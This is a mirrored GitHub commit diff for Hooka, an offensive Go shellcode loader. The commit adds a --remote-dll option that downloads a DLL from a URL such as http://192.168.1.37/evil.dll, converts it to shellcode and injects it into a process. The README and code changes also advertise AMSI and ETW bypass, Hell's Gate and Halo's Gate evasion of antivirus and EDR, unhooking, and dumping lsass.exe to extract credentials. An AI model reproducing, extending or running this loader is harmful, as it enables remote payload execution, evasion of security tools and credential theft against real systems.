mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
remote dll support
This commit is contained in:
@@ -94,6 +94,8 @@ go build .
|
||||
dinamically detect hooked functions by EDR
|
||||
-lsass string
|
||||
dump lsass.exe process memory into a file to extract credentials (run as admin)
|
||||
-remote-dll string
|
||||
remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)
|
||||
-t string
|
||||
shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)
|
||||
-test
|
||||
@@ -116,14 +118,16 @@ go build .
|
||||
|
||||
- If no technique is especified it will use a random one
|
||||
|
||||
> Inject shellcode from URL
|
||||
> Inject shellcode from URL or file
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
|
||||
.\Hooka.exe --file shellcode.bin
|
||||
```
|
||||
|
||||
> Inject shellcode from file
|
||||
> Shellcode reflective dll injection (***sRDI***)
|
||||
```sh
|
||||
.\Hooka.exe --file shellcode.bin
|
||||
.\Hooka.exe --dll evil.dll,xyz
|
||||
.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz
|
||||
```
|
||||
|
||||
> Decode shellcode as hex or base64
|
||||
@@ -134,7 +138,7 @@ go build .
|
||||
|
||||
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells -t CreateRemoteThread
|
||||
```
|
||||
|
||||
> Unhook function before injecting shellcode
|
||||
|
||||
+14
@@ -38,6 +38,20 @@ func ConvertDllToShellcode(dll_file string, func_name string, data string) ([]by
|
||||
return sc, nil
|
||||
}
|
||||
|
||||
func ConvertDllBytesToShellcode(dll_bytes []byte, func_name string, data string) ([]byte, error) {
|
||||
var hashFunction []byte
|
||||
if func_name != "" { // Check if dll function name is default or not
|
||||
hashFunctionUint32 := hashFunctionName(func_name)
|
||||
hashFunction = pack(hashFunctionUint32)
|
||||
} else {
|
||||
hashFunction = pack(uint32(0x10))
|
||||
}
|
||||
|
||||
sc := ConvertBytes(dll_bytes, hashFunction, []byte(data))
|
||||
return sc, nil
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
//
|
||||
// Auxiliary functions down here
|
||||
|
||||
+5
-3
@@ -10,10 +10,11 @@ import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string) {
|
||||
func ParseFlags() (string, string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string) {
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
var dll_url string
|
||||
var technique string
|
||||
var hook_detect bool
|
||||
var halos bool
|
||||
@@ -26,7 +27,8 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
|
||||
var lsass_flag string
|
||||
//var pid int
|
||||
|
||||
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
|
||||
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
|
||||
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)")
|
||||
@@ -42,7 +44,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
|
||||
//flag.IntVar(&pid, "pid", 0, "PID to inject shellcode")
|
||||
flag.Parse()
|
||||
|
||||
return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
|
||||
return sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,35 +20,50 @@ func main() {
|
||||
var err error
|
||||
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass := core.ParseFlags()
|
||||
sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass := core.ParseFlags()
|
||||
|
||||
l.PrintBanner("Hooka!") // Print script banner with version
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) && (lsass == "") { // Enter here if any main flag was especified
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url == "") && (!hook_detect) && (!test_flag) && (lsass == "") { // Enter here if any main flag was especified
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Parameters missing")
|
||||
l.Println("[*] Provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks), test program capabilities (--test) or dump lsass.exe process (--lsass)\n")
|
||||
os.Exit(0)
|
||||
|
||||
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
|
||||
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") && (dll_url == "") { // Check if both --url and --file flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --file at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") && (dll_url == "") { // Check if both --url and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
|
||||
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") && (dll_url == "") { // Check if both --file and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") && (dll_url != "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --dll and --remote-dll at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") && (dll_url != "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --remote-dll at the same time!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file != "") && (dll_file == "") && (dll_url != "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --file and --remote-dll at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") && (dll_url == "") {
|
||||
|
||||
if (technique != "CreateRemoteThread") && (technique != "CreateProcess") && (technique != "QueueApcThread") && (technique != "UuidFromString") && (technique != "Fibers") && (technique != "") {
|
||||
l.Println()
|
||||
@@ -134,7 +149,7 @@ func main() {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
|
||||
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") && (dll_url == "") {
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
@@ -215,7 +230,7 @@ func main() {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") && (dll_url == "") {
|
||||
|
||||
var dll_filename string
|
||||
var dll_func string
|
||||
@@ -288,6 +303,63 @@ func main() {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url != "") {
|
||||
|
||||
dll_func := strings.Split(dll_url, ",")[1]
|
||||
dll_url := strings.Split(dll_url, ",")[0]
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
if (dll_func != "") {
|
||||
l.Println("\n[+] Function to execute: " + dll_func)
|
||||
} else {
|
||||
l.Println("\n[+] Function to execute: default")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving DLL from url...")
|
||||
dll_bytes, err := core.GetShellcodeFromUrl(dll_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred retrieving remote dll!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting raw bytes to shellcode")
|
||||
shellcode, err := core.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[+] DLL converted successfully!")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
checkAmsi(amsi)
|
||||
|
||||
checkEtw(etw)
|
||||
|
||||
checkUnhook(unhook, technique)
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
if (technique != "") { // Check if technique has value so it doesn't get printed twice
|
||||
l.Println("[*] Injecting DLL shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
if (halos) {
|
||||
err = core.InjectHalos(shellcode, technique)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
|
||||
|
||||
l.Println("\n[*] Detecting hooked functions...")
|
||||
@@ -322,6 +394,8 @@ func main() {
|
||||
|
||||
checkEtw(etw)
|
||||
|
||||
checkUnhook(unhook, technique)
|
||||
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
@@ -417,8 +491,8 @@ func checkUnhook(unhook int, technique string) {
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Functions have been unhooked!")
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -5,3 +5,8 @@ import "github.com/D3Ext/Hooka/core"
|
||||
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
|
||||
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
|
||||
}
|
||||
|
||||
func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) {
|
||||
return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user